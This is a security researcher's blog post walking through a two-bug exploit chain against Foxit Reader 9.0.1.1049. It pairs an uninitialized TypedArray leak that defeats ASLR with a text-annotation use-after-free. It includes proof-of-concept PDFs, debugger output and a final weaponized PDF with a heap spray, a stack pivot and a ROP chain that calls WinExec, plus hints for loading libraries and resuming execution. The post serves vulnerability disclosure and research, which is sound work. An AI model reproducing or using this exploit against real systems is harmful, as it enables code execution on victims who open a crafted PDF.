Foxit Reader

After discovering over 100 vulnerabilities in Foxit Reader, I figured it was about time I shared a full exploit chain that defeats ASLR and DEP. The first vulnerability is an uninitialized buffer that I found independently and was later killed by bit from meepwn. I leveraged this for an information leak to defeat ASLR. The second vulnerability is a use-after-free that I found, killed and leveraged for remote code execution.

TL;DR

I walk through exploiting a two different bugs chained together to achieve reliable code execution on a Windows 7 & 10 x86 desktop against Foxit Reader 9.0.1.1049.

Introduction

Foxit Reader and PhantomPDF Reader are marketed as…

…Fast, Affordable & Secure PDF Solutions

However, as Adobe is aware, PDF parsing is a complex task and quite often error prone. Many vulnerabilities have been found inside of clientside PDF parsers and the fact that they need to support JavaScript creates an additional attack surface and greatly facilitates exploitation.

Foxit Reader Typed Array Uninitialized Pointer Information Disclosure Vulnerability

This vulnerability was assigned CVE-2018-9948 and published as ZDI-18-332 by the ZDI. It was discovered by myself and bit from meepwn, however bit beat me too it reporting it to the ZDI. That, unfortunately, is how it rolls sometimes.

Let’s take a look at some poc code. A minimised poc can be see below that will trigger the vulnerability:

%PDF 
1 0 obj
<</Pages 1 0 R /OpenAction 2 0 R>> 
2 0 obj
<</S /JavaScript /JS (

var int32View = new Int32Array(0x6c);
app.alert(util.printf("Uninitialized: 0x%04x", int32View[0]));

)>> trailer <</Root 1 0 R>>

After enabling page heap, we can see we can read back the (in)famous 0xc0c0c0c0 magic marker of where uninitialized data is.

Triggering CVE-2018-9948

Triggering CVE-2018-9948

There are a couple of things to note about this vulnerability. The first thing is that this vulnerability cannot be discovered via traditional fuzzing, since the application will never crash. I built a windbg plugin to help detect these types of vulnerabilities called bridgit. Bridgit is a JavaScript bridge plugin for Foxit Reader that helps facilitate with vulnerability discovery and exploitation.

The other thing to note that all the TypedArray’s are vulnerable with a single allocation (just like the advisory states). We can confirm this by using bridgit.

0:022> !py bridgit -o find_ub -s 0x6c

    Bridgit - JavaScript Bridge for Foxit Reader
    mr_me 2018

(+) setting up __CIatan_pentium4 bp
(+) setting up __CIasin_pentium4 bp
Breakpoint 0 hit
(+) DEBUG ATAN: (+) enabling heap hook
Breakpoint 2 hit
(+) enabling heap alloc bp
Breakpoint 3 hit
Breakpoint 2 hit
Breakpoint 3 hit
Breakpoint 3 hit
Breakpoint 3 hit
Breakpoint 3 hit
Breakpoint 3 hit
Breakpoint 3 hit
Breakpoint 3 hit
Breakpoint 3 hit
Breakpoint 3 hit
Breakpoint 1 hit
(+) DEBUG ASIN: (+) disabling heap hook
Breakpoint 4 hit
(+) disabling heap alloc bp
(6b4.a60): Break instruction exception - code 80000003 (first chance)
(+) found uninitialized chunk: 0x100bef90
    address 100bef90 found in
    _DPH_HEAP_ROOT @ 6aa1000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                111136b4:         100bef90               6c -         100be000             2000
    718e8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
    772461fe ntdll!RtlDebugAllocateHeap+0x00000030
    7720a0d3 ntdll!RtlpAllocateHeap+0x000000c4
    771d58e0 ntdll!RtlAllocateHeap+0x0000023a
    028cee12 FoxitReader!CertFreeCertificateChain+0x013a2a32
    0117810c FoxitReader+0x0034810c
    024d122a FoxitReader!CertFreeCertificateChain+0x00fa4e4a
    024d146e FoxitReader!CertFreeCertificateChain+0x00fa508e
    024e7943 FoxitReader!CertFreeCertificateChain+0x00fbb563

 

100bef90  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
100befa0  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
100befb0  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
100befc0  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
100befd0  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
100befe0  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
100beff0  c0c0c0c0 c0c0c0c0 c0c0c0c0 d0d0d0d0
100bf000  ???????? ???????? ???????? ????????

(+) done!

After trying different TypedArray’s we can see that Int32Array and Float32Array are allocated from exactly the same positions, that is in FoxitReader!CertFreeCertificateChain+0x013a2a32. It’s always good to confirm exactly what was patched!

Exploitation

An uninitialized TypedArray is a very powerful primitive, because we can specify the size of the buffer, thus, we can clobber almost any other buffer that we can allocate and free. For those that are unaware, typical exploitation of an uninitialized buffer can usually be achieved by allocating an object of n size and then freeing that buffer before triggering the uninitialized buffer allocation. Where n is the size of the uninitialized buffer (in our case, basically any size).

After some analysis, I found the perfect candidate and as it turns out, you can allocate an annotation object of size 0x5c, which, when freed is rounded to 0x60.

// allocates the annotation
var a = this.addAnnot({type: "Text"});

// free's the annotation
a.destroy();

Now, we can combine this to leak the vtable of the text annotation.

%PDF 
1 0 obj
<</Pages 1 0 R /OpenAction 2 0 R>> 
2 0 obj
<</S /JavaScript /JS (

// allocates the annotation
var a = this.addAnnot({type: "Text"});

// free's the annotation
a.destroy();

// allocate the freed chunk
var test = new ArrayBuffer(0x60);
var int32View = new Int32Array(test);

// mask off the lower word
var leaked = int32View[0] & 0xffff0000;

// calculate an offset for version FoxitReader 9.0.1.1049
var foxit_base = leaked - 0x01f50000;
app.alert(util.printf("FoxitReader base address: 0x%08x", foxit_base));

)>> trailer <</Root 1 0 R>>

After turning off page heap and firing the poc, we can see that we are leaking the base address of FoxitReader.exe:

Leaking a text annotation vtable and calculating the base address of FoxitReader.exe

Leaking a text annotation vtable and calculating the base address of FoxitReader.exe

Foxit Reader Text Annotations point Use-After-Free Remote Code Execution Vulnerability

This vulnerability was assigned CVE-2018-9958 and published as ZDI-18-342 by the ZDI. It was discovered by yours trully.

Let’s take a look at some poc code. A minimised poc can be see below that will trigger the vulnerability:

%PDF 
1 0 obj
<</Pages 1 0 R /OpenAction 2 0 R>> 
2 0 obj
<</S /JavaScript /JS (

// create an annotation
var a = this.addAnnot({type:"Text", page: 0, name:"uaf"});

// create an array with an element
var arr  = [1];

// make sure we can access the Document object
var that = this;

// setup the getter callback on element 0
Object.defineProperties(arr,{
    "0":{ 
        get: function () {

            // free the annotation
            that.getAnnot(0, "uaf").destroy();
            return 1; 
        }
    }
});

// trigger uaf
a.point = arr;

)>> trailer <</Root 1 0 R>>

So when setting the point property of a text annotation that is created dynamically and we can trigger a JavaScript callback via a getter call on the first element in an array. In this getter, we can see that we destroy the created annotation, whilst setting a property on that annotation. This triggers the use-after-free and after running it with page heap enabled, we get the following crash:

(31c.f70): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=1911bfa0 ebx=00000000 ecx=1911bfa0 edx=18b08001 esi=193aaff8 edi=1845ffc8
eip=008ecfb9 esp=03b7e814 ebp=03b7e82c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210206
FoxitReader!CertFreeCertificateChain+0x150bd9:
008ecfb9 8b01            mov     eax,dword ptr [ecx]  ds:0023:1911bfa0=????????

0:000> u . L4
FoxitReader!CertFreeCertificateChain+0x150bd9:
008ecfb9 8b01            mov     eax,dword ptr [ecx]
008ecfbb 8b5008          mov     edx,dword ptr [eax+8]
008ecfbe 56              push    esi
008ecfbf ffd2            call    edx

This is classic use-after-free with a vtable call, so all we really need to do it control the allocation. We already know that we can disclose memory locations.

Exploitation

We can disable page heap and set a breakpoint at the crash location to find the size of the freed object.

0:018> bp FoxitReader!CertFreeCertificateChain+0x150bd9
0:018> g
Breakpoint 0 hit
eax=075619a8 ebx=00000000 ecx=075619a8 edx=37c08001 esi=076d87f8 edi=076d8de8
eip=014bcfb9 esp=0026e284 ebp=0026e29c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
FoxitReader!CertFreeCertificateChain+0x150bd9:
014bcfb9 8b01            mov     eax,dword ptr [ecx]  ds:0023:075619a8=02bc0147
0:000> !heap -p -a @ecx
    address 075619a8 found in
    _HEAP @ 6c0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        075619a0 000d 0000  [00]   075619a8    00060 - (free)

We can see that the object is of size 0x60 and we can use a TypedArray to take control just after the free.

%PDF 
1 0 obj
<</Pages 1 0 R /OpenAction 2 0 R>> 
2 0 obj
<</S /JavaScript /JS (

function reclaim(){
    var arr = new Array(0x10);
    for (var i = 0; i < arr.length; i++) {
        arr[i] = new ArrayBuffer(0x60);
        var rop = new Int32Array(arr[i]);
        for (var j = 0; j < rop.length; j++) {
            rop[j] = 0x41414141;
        }
    }
}

// create an annotation
var a = this.addAnnot({type:"Text", page: 0, name:"uaf"});

// create an array with an element
var arr  = [1];

// make sure we can access the Document object
var that = this;

// setup the getter callback on element 0
Object.defineProperties(arr,{
    "0":{ 
        get: function () {

            // free the annotation
            that.getAnnot(0, "uaf").destroy();

            // reclaim the freed object
            reclaim();
            return 1; 
        }
    }
});

// trigger uaf
a.point = arr;

)>> trailer <</Root 1 0 R>>

Just after the destroy() we call reclaim() which will allocate 0x10 TypedArray’s of size 0x60. We do an iteration of 0x10 just to be extra sure we catch the freed object before its re-use. After re-running the updated poc, sure enough, we replaced the freed object and have execution control.

(df8.16b4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=00000000 ecx=073419a8 edx=24508001 esi=074a8068 edi=074a4270
eip=014bcfbb esp=0012e3cc ebp=0012e3e4 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210216
FoxitReader!CertFreeCertificateChain+0x150bdb:
014bcfbb 8b5008          mov     edx,dword ptr [eax+8] ds:0023:41414149=????????
0:000> dd @ecx
073419a8  41414141 41414141 41414141 41414141
073419b8  41414141 41414141 41414141 41414141
073419c8  41414141 41414141 41414141 41414141
073419d8  41414141 41414141 41414141 41414141
073419e8  41414141 41414141 41414141 41414141
073419f8  41414141 41414141 41414141 41414141
07341a08  58c64fcb 8c000000 00000001 00000026
07341a18  00000027 003a005a 0072005c 00730065

At this point (get it, point?) there was a few different ways we could chain the vulnerabilities. What we need to do now is get some data we control into memory at a known address. Traditionally, this is with a heap spray and a predictable address that we can spray at. However, after pondering a little more it occured to me that we can avoid a heap spray entirely.

What I had to do was leak a heap chunk pointer from the text annotation which was (ab)used for the uninitialized TypedArray. Then, reclaim that memory with a TypeArray, setting its contents to a stack pivot and setting the reclaimed object’s fake vtable to this leaked address, thus avoiding a heap spray. Surprisingly, this worked with 100% success rate.

You can download the full exploit here. At the time, this was tested to work on both Windows 7 and 10. Of course, I also developed an additional poc with a heap spray just incase the heap chunk leak would fail. This one only works on Windows 7 though.

poc-with-a-heap-spray-99-percent.pdf

%PDF 
1 0 obj
<</Pages 1 0 R /OpenAction 2 0 R>> 
2 0 obj
<</S /JavaScript /JS (

var heap_ptr  = 0;
var foxit_base = 0;

function heap_spray(size){
    var arr = new Array(size);
    for (var i = 0; i < arr.length; i++) {
    
        // re-claim and stack pivot
        arr[i] = new ArrayBuffer(0x10000-0x8);
        var claimed = new Int32Array(arr[i]);

        for (var j = 0; j < claimed.length; j++) {
            // stack pivot from FoxitReader.exe v9.0.1.1049 (sha1: a01a5bde0699abda8294d73544a1ec6b4115fa68)
            claimed[j] = foxit_base + 0x01a7ee23; // push ecx; pop esp; pop ebp; ret 4
        }
    }
}

function leak(){
    /*
        Foxit Reader Typed Array Uninitialized Pointer Information Disclosure Vulnerability
        ZDI-CAN-5380 / ZDI-18-332 / CVE-2018-9948
        Found By: bit from meepwn team
    */

    // alloc
    var a = this.addAnnot({type: "Text"});

    // free
    a.destroy();

    // reclaim
    var test = new ArrayBuffer(0x60);
    var stolen = new Int32Array(test);

    // leak the vftable
    var leaked = stolen[0] & 0xffff0000;

    // a hard coded offset to FoxitReader.exe base v9.0.1.1049 (sha1: a01a5bde0699abda8294d73544a1ec6b4115fa68)
    foxit_base = leaked-0x01f50000;
}

function reclaim(){
    /*
        This function reclaims the freed chunk, so we can get rce and I do it a few times for reliability.
        All gadgets are from FoxitReader.exe v9.0.1.1049 (sha1: a01a5bde0699abda8294d73544a1ec6b4115fa68)
    */
    var arr = new Array(0x10);
    for (var i = 0; i < arr.length; i++) {
        arr[i] = new ArrayBuffer(0x60);
        var rop = new Int32Array(arr[i]);
        
        rop[0x00] = 0x11000048;              // pointer to our stack pivot from the heap spray
        rop[0x01] = foxit_base + 0x01a11d09; // xor ebx,ebx; or [eax],eax; ret
        rop[0x02] = 0x72727272;              // junk
        rop[0x03] = foxit_base + 0x00001450  // pop ebp; ret
        rop[0x04] = 0xffffffff;              // ret of WinExec
        rop[0x05] = foxit_base + 0x0069a802; // pop eax; ret
        rop[0x06] = foxit_base + 0x01f2257c; // IAT WinExec
        rop[0x07] = foxit_base + 0x0000c6c0; // mov eax,[eax]; ret
        rop[0x08] = foxit_base + 0x00049d4e; // xchg esi,eax; ret
        rop[0x09] = foxit_base + 0x00025cd6; // pop edi; ret
        rop[0x0a] = foxit_base + 0x0041c6ca; // ret
        rop[0x0b] = foxit_base + 0x000254fc; // pushad; ret
        rop[0x0c] = 0x636c6163;              // calc
        rop[0x0d] = 0x00000000;              // adios, amigo

        for (var j = 0x0e; j < rop.length; j++) {
            rop[j] = 0x71727374;
        }
    }
}

function trigger_uaf(){
    /*
        Foxit Reader Text Annotations point Use-After-Free Remote Code Execution Vulnerability
        ZDI-CAN-5620 / ZDI-18-342 / CVE-2018-9958
        Found By: Steven Seeley (mr_me) of Source Incite
    */

    var that = this;
    var a = this.addAnnot({type:"Text", page: 0, name:"uaf"});
    var arr = [1];
    Object.defineProperties(arr,{
        "0":{ 
            get: function () {

                // free
                that.getAnnot(0, "uaf").destroy();

                // reclaim freed memory
                reclaim();
                return 1; 
            }
        }
    });
    a.point = arr;
}

leak();
heap_spray(0x800);
trigger_uaf();

)>> trailer <</Root 1 0 R>>

The final exploit just uses a WinExec call and doesn’t bother to modify memory, since many third party malware protection tools look for memory modification techniques I was lazy. I did see a LoadLibraryW in FoxitReader’s IAT, hint hint.

I didn’t bother with continue of execution (CoE) since I don’t work for an offense company anymore but all you would need to do is save the registers before the chain, return back to the stack after WinExec and restore the registers again, including the stack. FoxitReader.exe is 55MB in size, so finding ROP gadgets is a piece of cake for all of this. Anyway, on to the show!

Timeline

  • 2018-03-01 – Verified and sent to the ZDI
  • 2018-03-24 – Vulnerability acquired
  • 2018-03-30 – Vendor disclosure
  • 2018-04-20 – Patched and disclosed

Conclusion

Foxit Reader still has relatively little protections against memory corruption vulnerabilities. The developers rely heavily on operating system mitigations. When you have a JavaScript attack surface, you best believe that operating system mitigations are not enough, application level mitigations such as control flow guard, isolated heap and a decent sandbox would have significantly impacted me in the development of this exploit.

TypeArray's are simply too powerful againt most software products and facilitated immensely in the final exploit. They were used for the information disclosure (both .data and .text addresses), the heap spray and the object replacement.

References